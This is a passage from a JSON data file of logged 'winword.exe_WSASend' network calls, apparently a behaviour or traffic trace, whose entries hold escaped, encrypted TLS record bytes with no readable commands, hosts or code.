\\xedd@pov\\xf6ya<|%\\xe59\\xed\\xfe8\\x0c\\j4&ws\\xcac\\xa1\\xc63\\xb8\\x9d\\x90m+v\\x89\\xd1\\x9c\\xb1\\x93\\xd6<\\x03\\xa2\\xa9\\x96\\x8fu\\x93/\\xaa\\xd0\\x8c\\xd7\\x02\\xbe\\x19\\xbd\\x10\\xc2\\x1er\\x07\\xdf\\xa9\\x8c\\x82\\xd2\\x0bdyj\\xda\\xf0\\xd0\\x97\\x92-\\x89\\xe60f\\xda:\\x9c/j\\x90\\x1b\\f><\\xc3d\\xecr\\xe8|\\xf8\\xa3\\x94k\\x1f\\x0cif\\x14\\xe3\\x8a/\\xef\\x92\\x91\\x93pxv\\xe5\\x1e\\x91p$\\x83\\x9c\\x93x\\x9de"
  578. },
  579. {
  580. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010+yh\\x04\\x1e\\xa2\\xa4\\x8f\\xc6\\xab+\\x85\\xc1\\x81\\xb9o\\xf0\\x8d-~i\\xf3f.\r\\x12\\xbb\\x9c(\\x10\\x8c\\x07\\xe2\\xe9\\xa6\\x8c\\x15dy\\x13\\x0cu\\xfe;\\xbf\\x03\\x1d+\\xdb\\xb8b\\xea\\xe0@d\\xbe\\xbaf\\xcda\\xde\r\\xe0\\x9dgl\\x069\\x9c\\x83\\xaar\\x8f\\xbaj\\x8fj\\xe9\\xb6j\\xb8s\\x0b\\xb3\\x13%~\\xdd6\\xd9js\r*$\\x07/\\xadj\\xd6\\xac\\x8b\\xb0\\x8d\\xf9r\\xbcp\\x92n+\\xff\\x89\\x8a\\xa7\\x05`fy\\xc5\\xfdv\\xd1\\xee\\x1az\\x10\\x91y\\xac\\xf20\\x84\\x0b%\\xc3\\x8e\\xae\\xee\\xf3\\x853\\xad\\x9c\\x97m\\xf1m\\x17\\xd6\"7\\x16\\x13\\xe5\\x06wt\\xac\\xaf\\xc1efz\\x0f\\x07wr\\xa9\\xde\\xfd\t\\x9f\nzmh\\x9c\\xb6\\xf7\t\\x9c3zz\\xb3c\\xa59\\xb5\\xa9\\xe2g\\x07^\\xe5\\x9c\\xd265!1\\x9d\r\\xd8:\\v|\\xd9\\xa3\\xf3yk8e\\xd4_\\xab;\\xc7\\xf3\\x96\\xec\\xa8\\x06\\x9dczs/5\\xc1sz\\xbb\\xfe\\xce\\xa4wbu\\x06l\\x8e*',\\xd6x\\x04"
  581. },
  582. {
  583. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x13b\\x1a\\xc8\\x8c\\xf3\\xc6\\x01\\xf3\\x07\\xfb\\xec\\xffw(o\r\\x12vw@(\\xf1\\x93\\x1d\\x80a5[\\x1d{\\xf7\\xd3\\xd1\\x1d\nf/\\x8e\\x908f\\xc1z\\x9a*\\x83+\\xa8\\xadz\\x0f\\xea\t\\xad.\\x9a\\xde2h\\xbf:7t\\xa2\\xbe%j\\xecm]mq\\x14sz\\x05\\xed\\x1fe\r\\xee\\xce\\x12\\xda:\\xed@\\xbe\\x8a\\xf6\\x87\\x0c\\x11\\xadgg\\xb1\\x89\\x86f\\xfcy5\\x19\\xef3\\x8c\\x8e\\x9b\\xc0f4\\xc5\\xc3\\xe6\\x06=c\\x8e\\x9d\\x9d\\x0c\\x9f\\xb1\\xe6\\x99d\\x18?ltz\\x96ip`\\x7f;\\xf5\\x83g\\x06\\xbb\\xbc:\\xf3\\x0f\\xa2a\\xeb\\xd4\\xa2\\xfc(\\xb4\\x91w\\x86l\\xb4rn>\\xa7\\xb9\\x1f8\\xee\\x7f\\xa4\\xfckw\\x11\\xc9i\\x82\\x1b\n\\x96\"lf\\xde\\x8e]\\x92<\\xfa\\x8fk\\x03\\xbcp\\xf1\\xbe9vk=g\\x8b6\\x80\\x14}\\x15\\xa6\\x06<ba\\xf2 \\xf7\\xf2\\xd4\\xdb\\x8d\\xaa\\x88r\\x94yy,m\\xfe\\x1b\"\\xe3\\xf9\\x8aw\n[\\xb1\\xec\\xbda\\xe3\\x9f\\xf03\\xbf3\\xd6$_s"
  584. },
  585. {
  586. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe1b\\xa5h\\x82\\xeb\\x822\\x0cdd4\\xd7:\\xfbie\\xef\\xb89$\\x06\\xc5e\\x94\\x02\\x87cz\\x93\\x8f\\x079\\x0b\\xae\nw\\xe2 6\\xb9h\\x9f\\xf5\\xeb\\x19\\x87t\\x90\\xf7'u\\x9fx\\xee\\x1a7\\x7f\\x1b\\xf8;\\xa8\\xfco\\x8e&\\x10\\xda\\xac\\x9e\\x86r\\xff\\xbc\\xa4\\x95p\\xbd\\x88\\xb3\\xd9\"\\xa0\\xfb\\x9c\\x9c\\xac\\xcbp\\x82\\xe9\\x7f,j@\\xd1\\x91\\xba\\xe7\\xfc#\\xf4\\xd6\\x87\\x0e\\xc9\\xa7\\xab\\xc4\\x8b-:=\\xdb\\x84\\x9c-^\\xf2\\xe0\\xf9\\x82/\\xeb\\x1bv\\x1d\\x88\\xe8\\xe3\\x1eo\\xdfb\\xce\\xf8\\xb0\\x99\\xab\\x07\\xed^\"\\xa7\\xb9\\xc6j\\x02\\xa0\\x8b\\x95\n'*\\x0c\\xb7\\xc4v\\xf5\\xac\\x14\\xa6\\xee\\x95\\x1e\\xb5wf\\xa2\\xf9p\\xca\\xfew\\xfc5\\x87\\x98\\xe0!?n92\\x94\\x8b'\\xefe\\xb9\\x02hj\\xeb\\\\x81\\xd3\\x93cqr\\xc8\\x97q\\x03/\\xaf1\\x15\\x94j\\xd8\\xe5y\\xd3cd)a\\xe0\\x9c\\xc8\\xe3\\x83!^a\\xeb\\x83\\xd1ob\\xd5\\x7f\\x82|-o\\xf6\"i\\x1c\\x981\\x9d\\x8e\\xe2c\\xf3\\xcc\\x89"
  587. },
  588. {
  589. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd0,2w\\x1b\\xa9\\xadm\\xee\\x85\\x0e\\xcci1\\xe7\\xa88\\x1b\\xd3.\\x82\\xa2\\xd7\\xda\\xe0\\xdf@o\\x08\\xf3\\xc9\n\\xb1(\\xea\\xad\\xf9\\xb2\\x00\\xa4\\xfabs\\xc9`\\x07n\\xe5\\xf5\\xa0\\xdcu\\xae\\xfd\\xfe\\xa2\\xb0\\xa7\\x87\\xd81\\xf2d@\\xeb>\\x10\\xb0\\xe1\\xb6\\x9cii,\\xb0\\xb3\\xd5 4\\x02\\xce\r\\xe8ib\\x84\\x8ek\\xae\\xa8\\x99\\x8f\\xfc\\x1ds\\x1e\\xac\\xfa\\xe0g\\xc1\\x9b\\xe5/\\xce\\xe7u\\x8aw\\xc3\\xdd\\xbbq\t\\xab~h\\x07\\xa7\\x13h_-\\xb9\\xcf&\\xf7\\x861\\xe8bbu\\xca\r:j\\xc0\\xf5>\\xe2\\xbb\\xb9\\x8dz\\xc3\\x0b\\x8f\\xcb\\x84\\xa7q\\xd1\\xaf\\x9f\n\\xb8u\\xf8\\x80\\xd2>qq)e\\xbd\\x9b\\x8e&\\xf2\\xa3\\x9d\\x06\\x8ae\\xccn\\xa4v\\x8b\\x00\\xf8ma*\\x87\\x05\\x99k\\xb5\\xff,\\xc4\ng|)w\\xbe\\xe2\\xc4\\xad\\x115\\xff\\x1af\\x13|c)\\x9b{\r\\xa9y\\x02\\xb0[\\x9aj\\xce\\x11=\\xff\\xbbv\\x8a\\x80\\x8d\\x9a\\x03\\xe3\\xca\\x8a\\6\\xa2\\xcb\\xb2a~v\\x86\\xad\\x82\\x9f\\x91\\xd0\\x84"
  590. },
  591. {
  592. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v\\xa1r\\xf1e\\x04)\\x0c\\x04\\xa40\\xdas\\xf7e\\xc2\\xcb}\\xf6\\\\x1e\\xe4\\xb4;:\n(\\xc4<\\x83d\\xb5\\x06f\\xd7\\xadws\\xd3\\xdd~\\x9ay\\x1e\\x10-\\x7f\\xa1\\x8eo\\x00=\\xd5\\xa3\\xa0\\x98y\\xd9\\xd3v:\\xf2\\xb2w\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x87\\xa5\\xbd2\\x10\\xf7+\\xa4\\xdf\r\\x98\\xc5\\x14\\xe8\\x827\\xfd\\xa5p=\\xafqu\\x04s \\x90'5\\x12h\\xfd,\\x1e\\xda)\\xbd\\xddz\\xf2\\x9cz3\\xb7i\\xe1\\xa9|"
  593. },
  594. {
  595. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd1\\xd6\\xc27\\x88\\x1e\\xaa\\xfd\\xcc\\xf4\\xc4\\xc0>\\xc1\\x85\\x90di\\xe7\\x85\\xfc<\\xae\\x8au\\x04\\xc9\\xdb\\x98r!\\x9a\\xf1\\xbb!\\xc6\\xa2\\xefuq\\x87\\x04\\xb7\\x9fav\\xd8\\x1e\\x0b\\xc7 +s\\xc5,\\xbdq\\xd6\\x15i7\\xe9\\x820\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf4\\xfa;6) \\xe2\\xd3+\\xc7\\x1e\\x01hww\\x89\\x08\\x88\\x9b\\x82]\\x0b\\x96#\\xa8r\\x90u\\xb9\\x8f\\x83\\xd5\\xf6\\xc2\\x93\\x86\\x8eq\\x9fs%j\\x1a\\xd41j\\xd38"
  596. },
  597. {
  598. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x01\\x99\\x82n\\xb3i\\x9e\\xec5\\x05<\r|\\x93\\xc3\\xa0\\x85>84\\x0cq+\\xdad\\x8e\\xdc\\xef\\xc5\\x1e\\xaa\\xb5%\\xea\t\\x82u\\xd6e\\xd9\\xe8\\x91\\xa7\\x16\nm,\\xf8wvvu\\xde`\\xf4\\xf0*\\xe1\\x84<\\xd6\\xc5\\xb0\\x1c\\x95(:\\xd5r2r\\xd6~\\xe5ok\\xffq\\x97\\x93\\x13\\x8dhk\\x19\\xb0\\x8e\\xcc\\xf4hly\\xbb\\xd7>x\\x86\\x1a\\xfb\\x14@\\x81\\xa8\\xd5u\\xbe[7e\\x82\\xb0\\xc7\\xc3\\x91\\xd6\\xd5m\\xf7\\xd6e\\xfcj\\xc9\\xe3\\xaf\\xbas\\x9d\\xc0\\xe1\\x0c\\xb0\\xa7{\\xabsy\\xdf\\xc2\\x15^\\xe8\\x82\\x81\\xbe9\\x95\\x9f\\xc6\\x15\\xee\\x1f\\x8f\\xd7>\\xab\\x85\\xe5@\\xd6\\x01\\x04#\\xfb\\xff\\xc7h\\xb0\\x98t\\x15\\xc3\\x8b\\x87d\\x7f\\xab\\x05\\xd3\\xf8\\xca\\xa6\\x00\\x047u\\xf3lhf\t\\xa8\\xfd\\x8e?\\x8fxv\\xee\\x88-\\x15\\xce$\\xe6xu+\\xa0\\xb7\\xd4{\\x84\\xfce\\xc6\\x0c\\x8c\\xd6_\\xeb+\\x1e\\x96l\\x04\\xb9iv\\xdb\\xab\\xca\\xc0*\\x84\\xe9\\x08jn\\x1b\\xf3e\\x95m\\xd5\\xf87\\xd4\\x9e\\xa0\\x08"
  599. },
  600. {
  601. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf86qj\\xabc\\x0b\\xb6\\x85j_\\xc9\\xf0y!\\x80\\xd6\\xce<\\xa2k;\\x97\\xe5\\xcc\\x05\\xb7%op\\xae\\xf4\\x0f\\xd3\\xfc}+pn#\\xb4.|\\xdc\\x85\\x7f\t\\\\xf4\\xcb=\\xa4\\xb8\\xbb\\xe6\\xd2\\x07\\xa9z\\x0b\\xc7\\x11?c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x85\\x19\\xcc\\xcb\\xc7\\xc1\\x8f\\xd1m\\x93\\x12\\x01\\x93\\x19\\x9b\nk\\xcc\\xb4\\xc0\\xe4uk\\x02\\xcc\\xc2\\x9b28\\x0c%}\\x85u\\x9eg\\x0f\\xab\\xc0\\x91o\\xd8\\xa465w\\xb7\\x0c"
  602. },
  603. {
  604. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04_\\x98\\x84\n\\xa6\\x84\\x12,\\xa0\\x8e(_x\\x19gx\\xb6\\x83|\\x9f\\xdak\\xedk\\xd6d\\xec\\x15c\\x9c\\xfe\\xfa\\x15\\xa9._\\xdfk!\\xa8\\xd7\\xe3\r\\x89y)\\x87\\x85\\x9a\\xee}\\x1fgkw\\x15\\x98lb\\x1dyx*-\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbb\\q\\x83\\xe5;`\\x90\\xd4\\x1a\\xd7\\x91\\xc8\\x82\\x02\\x109\\xb2\\xb4\\xae\\x0f\\xe6j\\x11v\\xaf\\x07z\\xba\\xeb\\x1c\\xeb\\x94\\xf7!2\\xed\\x11\\xfb\\x05q\\x86-\\xd2\\xc4\\x89\\x8a\\xe4"
  605. },
  606. {
  607. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbc\t\\x15vo\\xf4\\xb8#}\\xa3\\xe8qw{` kot\t\\xd9\\x81\\xc1ase8\\xd4\\\\x15:\\xe7\\xd9\\xea}p\\x13\\x17,\\xbe\\x07zo\\xe1\\x8ba\\xba_\\xf9l7\\x84\\xe6@|m~i\\xf8\\xb3\\xf0\\xaeg\\xdd\\x96b7 \\xc4\\x16\\x06\\x1d\\x01\\x07\\xc5\\x14<\\xd4\\xd8*\\x15b[z\\xfd\\xdd\\xa3\\x04\\x05\\xd6+t\\x83\\xd9\\x92=\\xb87\rf\\xd57\\xd6n\\x8e\\xf9\\xb9\\xc1\\x10\\xf4j|\\xad-\\xe1n\\xed\\xfe\\xe3*\\xad\\x02#hn\\x0c\\x9er]\\xb8%}|\\x81a\\x19/\\xe8)\\x88\\x16\\xceu\\x12fj\\xd2e\\xc9\\xef\\xea\\xe9oyk+2\\xb0r\\xab=\\xfb\\xc2\\xbe\\xdd\\xbc\\xb3h\\x0f\\x8f\\x98\\x1f\\x8dh\\xdc\\xbd\\x94\\x1di.\\xf8\\xf8\\x1a\\xa3\\xa4\\xf8\\xa1/\\xde\\x0bg\\x08\\x06<:\\xca\\xc0\\xf3t\\xab\\x92\\xff\\x864\\xb4\\x7f\t\\xc4j\\xd1p\\xd3\\xfc,\\xa6\\x13\\x10\\xa6\\x97\\xe6\\x8d\\x0e\\xa5\\x8c\\xbd.\\xa5:\\xe3\\xbb\\x95\\xb0x\\xb7\\x97\\xb0\\xe2\\x14\\xa4\\xa5\\xee\\x82v\\xb5s\\xbb\\xfd\\xb9\\xda\\x9em"
  608. },
  609. {
  610. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xeak-~j\\xe3\\xef\\xc4\\x08x\\xe8k\\x1d\\xc5h\\xb8\\xf4\\xf8\\xd9\\xd7`\\xfde\\x87\\xe92\n\\xe1u\\xed\\xe2\\x17\\x0c\\x88q\\xd3<s\\x8c\\x01\\xbf\\x16\\xe37)f\r\\x01\\xf8#\\x1dy\\xc7t\\x983\\xc00\\xc6\\xe5s\\xbfq[\\x81\\xb7\\xcd\\x9fhca\\x9e\\xdc\tt\\xf0\\x84\\x92\\xb6\\xd9\\xa7\\xcf}k\\x83\\xc5x\\xc0ro\\xa5\\xd5\\x9f\\x11n\\x0c\\x91\\x11\\xa2\\x85\r\\xc6\\xd6\\x0b\\x11a\\xb8\\xa6t<\\xb8\\xcd\\x93\\x96u\\xc1\\xaf\\xc8'b\\xfeq\\xf8\\xdc\\xbdal\\xbb\\x86\\xbf\\x80\\xc1\\xb2u0>\\x15u\\xc8%_r\\x94,\\xd25k\\x00f\\xe9\\xab\\xaan\\x02x\\xf9 \\xe5\\x958\\xe2\\xd7z\\xa1\\xbfl\\xa4g\\xe7<,<\\xe2\\xb5\\xa8\\xd2\\xbc\\xdb`\\xd7+q\\x7f\\xe3\\x1c\\xdb\\x9a:\\x1fn\\xba=[\\x0543\\xb3\\xe55\\xdb\\xc4b\\x8dwx\\xa8v\\xd0\\xaaw\\xab\\xe2-\\xee\"\\xa9\\xb7c>_h\\xb5\\x0fg\r\\x14-\\xe4n\\xc3\\x05\n\\x19\\xcc\\xec\"\\x16\\xff\\x0fa\\xf9o)\\xe71\\x85\\xdf\\x87\\xb0\\xfb;"
  611. },
  612. {
  613. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\xac\\x97\\xea_c>\\xda\\x99\\xad\\xe9)+\\xb51j\\xb7\\xce\\xe4\\x19g\\xda\\xadz\\x001m\\\\xdc\\xbc\\xf5\\xc4\\x9c\\xf2\\xfd'sqv\\xa1\\xa5e\\x88e\\xafdw\\x14+m\\x8cw\"\\xbe\\xb8\\xd81\\xcdf\\x1d\\xd0\\xe8\\xa4\\x8a\\x17\rs!\\xb3l'q%\\x06\\x89wnn\\xfe\\xc0@\\x0f\\xcd\\xb5\\xda\\xc5\\x10\\xf9\\x03\\x1e\\xfa9\\xc0\\x98\\xbb\\xd0\\x1e\\xc2\\xd3\\xbc,\\xfd\\xaa\\x14\\xc8\\xfco\\xeef\\xf2\\xac\\xc0\\x8e\\xda3\\xf4%a;\\xfe\\xa43\\xcf_z\\xde\\xfe6?\\xe2-\\xe6\\x0e?9\\xa3\\xf9\\xcd\\xc2\\x1ez\\x04\\x88n\\x13\\xa4\\xc3\\x92/\\x07 \\xca@\n\\xf5s\\xe6\\xce\\xcb8\\xf7\\xaf>.\\x91\\xf2z}\\xa1+\\x19\\xca\\x16\\xf9\\xe5p\\x00k\\x93\\xdd\\xb7\\x95\\xafy\\xb3b%\\xfd\\x8e;z\t\\xef\\x90\\x9b\\xeb\\xcb\\x07\\\\xaa\\xf0e~\\xae\\xbdg\\xb4\\xa6\"\\xc1a\\xd1\\xf8\\x85\\x98\\xd8\\xdd\\xf1\\x13\\xf5u9\\xc1\\xd4d\\x11\\xee\\x8e\\xbf\\xd0\\x0e\\x99\\xe0\\x91\\x81zc\\xe5\t\\x1a\\xfdc'\\x1d\\xd2r\\xef,a\\xa6~"
  614. },
  615. {
  616. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010z\\xed\\xfc\\xaa\\xbf\\x84\\xa6\\xee\\x06\\x8e\\x85\\x1f\\xc5x>\\xdf\\xd6\rq\\xf1 mr4\\x80\\xcb\\xe8xaw\\x8b\\xb4\\xc51e\\x8dy\\xbd\\x9a\\xcf\\xad]`b\\xd3s?u\\xcat{\\xa1\\xd5\\x03\\x84\\xfa\\xcf\r\\x12\\x02\\x8b\\x06$\\x93\\x0c\\x9e\\xf1\\x08x\\x9a\\xa0\\xd8mz3x\\xb3g\\xf4\\xd7\\x10\\xb8\"xn\\xc6\\xa2\\xd2\\x8e\\x81\\xf3\\xb5\\x93\\xb8\\xd9\\x90\\xfc\\xa7.\\xdb\\xc0\\x0b\\xad\\x8eb\\xe6\\x9e\\xd8\\xb1\\xa5-\\xe1\\xe3\\xcfip\\xe84\\x95j\\xb9'{\\xae\\xcc\\x1b7d\\x88\\xfad\\x15\\x01\\g\\xc8n\\x9d\\xb5\\x80\\x81\\xfa\\x9d\\xdf\\x10\\x9b\\xcb(x\\xaf\\x8a\\x8b\\x18\\xc7g\\x90\\xe1\\xf8\\x86'\\x13m\\xd3^>_%\\xfe\\x12b\\xe2\\xa3\\xdd/\\xc1+\\xb7\\x02\\x08,m\\xf0\\xdcy\\xae!6\\xb9\\x8a\\x9e\\xb4'b\\xf4\\x8a8m\\xc7\\x03\\x16\\xdd?\\xb2\\x80\\xda\\xb1\\xb3t\\xab\\x1d&b\\xe1-af\\xa4\\xddj\\x1b\\x07\\x92\\xbf\\xd8\\x9ei\\x88y\\x1b\\xa5*f6\\xcb\\x9ftx1\\xca\\xc4\\x0bxa\\xd9\\xfd\\x19ke\\x14\\x92w"
  617. },
  618. {
  619. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010h\\xba\\xda\\x9c\\xd2\\xa3\\x8e\\xbd;\\x82\\xebp\\x16\\x97\\xf1\\xd9$\\xa4\\x81\\x18rj\"\\x1a<-\\xc7\\xafm\\xe8\\xe8\\xb7\\xacwov\\x10\\xd6\\xc5\\x16\\xd1\\x90e\\xcd,xd%'a\\x9e\\xf4{pig2r\\x9a\\xf1\\x8d<\\xbfs\\xd4>\\\\x07]\\xad\\xe8\\xbc\\x8e\\xd5\\xea\\x8fs\\xed\\xcc=\\x08:\\x04l%\\x9cq\\xd8\\x91\\xb6b.j\\xf7\\x00\\x13\\x92{\\x8d\\x0f]3b.dr\\x03\r\\x01\\xf79\\x0c\\xc5\\xf3\\xc4\\xac\\xdd<\\xf8\\x8e\\x9c\\xb9\\xa7\\xeb^py\\x97l`0\\x8a\\xf5\\x18\"\\xff\\xb6!\\xb2f\\x0c4\\xbctfln\\x13\\x15)j~\\x9b\\xcf\\xa3\\x19\\xbf\\x95u\\xba\\xa5p\\xc9\"\\xab#\\xfd\\xa5\\x90\\xd4nc\\xaa\\xe1\\x18gv\\x80m\\xd8\\xe1\\x0b\\\\x94\\xf9.\\xf6\\xdf\\x96_6\\xc1a\\~\\x8e\\x94nr\\xbc\\xa0\\xa7\\x83\\x82[\\xc2\\xc5\\x03fsq\\xbe\\xbcg\\xd3,\\xbap>x\\xfd\\x17r\\xa9\\x06\\xd4\\x97\\x82kq\\xf9d6d$+\\xd71\\xf1j\\xd8\\x92\\xd6:je\\xa2\\x7f\\x96d>"
  620. },
  621. {
  622. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010,p\\x86\\xeezq\\x16\\xda\\x0b?\\xe8\\xf4uo\\xfb=\\xdcj_#l\\x12^\\x07\\xc3:\\xf2\\x1e5h\\xa5\\xdf \\xc5\\x16\\x87\\x98o\\xf2\\x0b\\xf3\\xd2\\x0e\\xc9bb#\\xbfw\\xe5\\xcf\\xf8\\xe8jx@\\xf2\\x9e\\xf2\\xb4av\\xb0\\xe9\\xeee\\x83\\xff\\x13\\x80\\xff\\xa8k\\xb9n\\xed\\xa8\\xed\\x0c\\x98$u\\x89qnf\\xc7\\x86\\xbdk]\\x8e\\xbe\\x02b\\x0f\\x0f\\xe2\tn\\xf9*\\xcag%h\\xbd.\\xda\\x7f\\xcb\\xe0\\xfbev\\xb9\\xb9\\xbf\\xb6.kma\\x0b\\xc5>\te\\x19\\xd7.\\xcc0\\xb7\\xe4\\xdc\\xe1%[\\xb9\\xfbs~=\\x0f\\xc7t\\xab7\\xab\\xf0\\xa5e\\x05\\xfb9k\\xd5\\x1a\\xdb\\x06\\xee\\xe6\\xa8#\\x84^\n\\x08\\xe3\\xda\\x96\\x8b\\xcew\\xaarm\\xd1\\x06\\x05\r`\\xadr\\\\x96\\xa6\\xbc}luavbr\\xda\\x0e\\x8b1\\x13\\xc1\\x0b\\xc9\\x10\\xde\\x9b\\xc6\\xbbx\\x12\\xf7\\xc3+x\\x99+\\xcb\\x1c4\\xc9\\x8f\\xd0\\xa1\\x91q\\x86\\xde7\\xd8|ik\\x9f\\x1a\\xdb\\x16k\\xc1e\\xa5\\x15\\xb3\\xd3'\\xb6hh\\x0e\\x87/"
  623. },
  624. {
  625. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe0\\xc7`2\\xdb\\xb1\\x95x\\xcd\\xfa2w\\x9b\\xbd\\xd8z#cc\\xfdb\\xe0w3tu\\x11\\x84d.\\x12[\\xdc\\x05t2\\xd5e\\x94\\xdb\\x94f_-\\x11)\\xd44\\x0c\\xa9\\xc4\\xfelk\\x87\\xaf\\x98\\xcf~\\x05x\\xfb\\xe8]\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc9\\xb2\\xf1\\x86md$\\xc5c\\x16\\x9e#\\xca\\x81c\\xaaw\\xf1\\xd4\\xc1\\xa3\\x16\\xd0\\xce\\xaaq7\\xb1\\x05k\\xdc%>\\xb4\\x88q\\xf0vo\\xf5\\xe4\\xc9k\\xe6n\\xb5\\xd3\\xb6"
  626. },
  627. {
  628. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc8\\xb6\\x8d>l4\\xe8s\\x16\\x15\\xe2asxd+\\xa1\\x9f\\xc7\\xb1\\xa2\\xd1\\x1c\\x0b\\x1a\\xce&\\x17\\xa8k\\xaf\\x86\\xc0\\xf1\\xd5\\xaf\\x89\\x13\\xf6\\x8by\\xb8\\xd7\\xea]!\\x1b\\xe2\\xf7\\xaf\\x96\\xaf\\xfa\\x84\\xcb\\x01\\xf4&\\x97h\\x9a\r\\x85;\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000+\\x8d\\xd9r\\xb9|\\x14\\x82r\\x97y\\xa9pl\\x10~\\x1a\\xf0\\x8ce\\xd6t]\\xcb\\xb3qd\\xbc\\x84\\xb2\\x0b\\x18\\x9es'x\\xaa\\xd5\r]c+\\xc8\t|\\xe3:\\x95"
  629. },
  630. {
  631. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04/\\xeb\\x90\\xdb\\x9dz\\x0cx\\x81\\xe16\\x0f\\x14=\\x86y\\x16\\xf8to\\x82p\\xd6a\\xcbg\\xfc\\xd5\\xc0e\\xe4\\xe7\\xcd\\xcb\\x81*[#\\x0b\\x0c{\\xefh\\xa2\\xdb1\\xbfd\\x17\\xa6n\\x83\\xe5\\xf9\\x8fg/\\xa3\\x1d\\xbf\\x99\\x0c\\x99\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x95s\\x08\\x05t'\\x93\\xfd)\\xadlu\\xb6\\xcd\\xca\\xa3\\x1f\\xd04[\\x9a\\x15\\xa6\\x19\\xe0vx\nn$\\xa8\\xc8ns\\xa9\\xaav\\xaf\\x95\\x82\"\\x110\\xce|1\\xc1\\x1f"
  632. },
  633. {
  634. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x85\\x18]r\\x82\\xff\\xf5(\\xdf\t\\x8d]\\xae]\\x91x6\\xf3\\xf2\\xa1\\xfc\\xba*t\\xbd\\xa6\\xfe}g\\xbd\\xbfac\\xdb\\xb9e\\x07\\x90>wpfl\\xfa\\xdc\\x94\\xcd\\x10\\xc4q\\xbb\\xab\\xd3*\\x1b^v\\xe2\\x95\\x878\\xd2\\xb8\\xe8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i\\xa1?\\x18z\\xdfb\\xf00\\xafn\\xc7\\xaf\\xce\\xe6\n\\x97~\n-\\xd0\\xf6\\xed\\xf5f\\xd4h\\x96e\\xa0\\xbdri\\x0f\\x16\\xbc\\x8c\\xe7\\x19^\\xb3\\xc6`#\n\\xadud"
  635. },
  636. {
  637. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbd\\x04\\x99\\xb2v\\x98\\x14\\xa1k\\xe3\\xb8\\x17b6j\\x8fn\\x1d\\x8es\\xa9b\\x11e\\x80s\\xcc^\\x0b\\xf7\\xc9i\\x9cs4\\xf06s\\x95\\xfb\\xbc\\x8dm\\xc5\\xf90\\xab\\xea\\xf3\\xad\\xbd?\\xf9\\x87\\xb6\\xa9\\xf3\\x94(\\xb6t\\x08\\xf9\\x15\\xb1\\xd3\\x05|n\\xf9t1\\xad\\xd2\\x0b\r\"\\xea\\xff\\x13\\xc8\\xd4\\xfa\\x81)d\\xa8b\\xd7\\x1a\\x82\\x98\\xc9r\\xa6\\x19&p\\x06\\xbc\\x7f\\xd0\\xd1\\x08\\xc9\\xca\\xa1\\xd9\\xb8\\xf8\\xbcl[\\xe5\\xf4o\\x88\\xe8\\xdb\\x9f\\xc7\\x94m\\x9d0\\x06\\xe0\\x1d\\xe9mdp\\xb9,\\xd4\\=\\xca\\xc94\\xa9\\xa0\\x94\\xca\\x9d\\x01\\xed\\x92\\xfa\\x00\\x98\\xb0\\xfd8\\xbe\\x84\\xc5]\\xea\\x99\\xd42\\xd33$~#_<\\xe0\\xa9c\\x0c\\x92y\\x01\\xaa\ryt\\xed\\xc1[>\\xe5\\xec\\x82\\xf6\\xca5\\x7f]\\xbc\\x93]\\x99\\xa2\\x12\\x9c`\\xf1\\xa5 z\\x9b:\\x9f\\x8bh\\xee\\\\xf5\\x84\\xbc\\xec\\xfbw!\\xfe1\\xd0\\xf1s~q\\xb4\\xa1ni;\\xe8}+\\xde\\xecx\\xa9\\x9b\\xd3hwd\\x89\\x90\\xea\\xb1xf\\x80\\x9c\\x98"
  638. },
  639. {
  640. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a\\xfa7\\xd7te{*n\\x16\\x05n\\xb0\\xf1\\xcb\\x0e\\x14\\xe5w\\xf6lkpm\\x82\\xed\\xfcj\tt\\xd6\\xbb\\x95j\\xeap\\x9a#\\xe6\\x08\\x9br\\xd0)\\xd33\\xb9\\x0b\\x91.\\xe9\\xe6onbnr\\x8c\\xf9\\x18j\\xafq\\xd1\\x1e^\\xe9\\xf9\\xb3\\xad\\xd6w\\x14x\\x98#\\x06&\\x06\\xfa\\x92\\xeew\\xfb\\xcb\\x97k\\xffc\\xc2\\xad[zyxv\\xf7j\\xdb\\xa5\\x11\\xd1\\xc03q\\xec\\xdd\\x19n\\xfc\\x94\\xe9\\xafq\\x07\\xf0$\\xedvb\\xb2[q\\xc9v\\x01m\\x16@?pf\n\\xc8\\xca\\xd1\\xe6\\x8ah{m_\\xfd\\x12\\x92\\x91\\xca\\x19w\\x9cja\\x9a5l\\xa4\\xb3z8ej[ek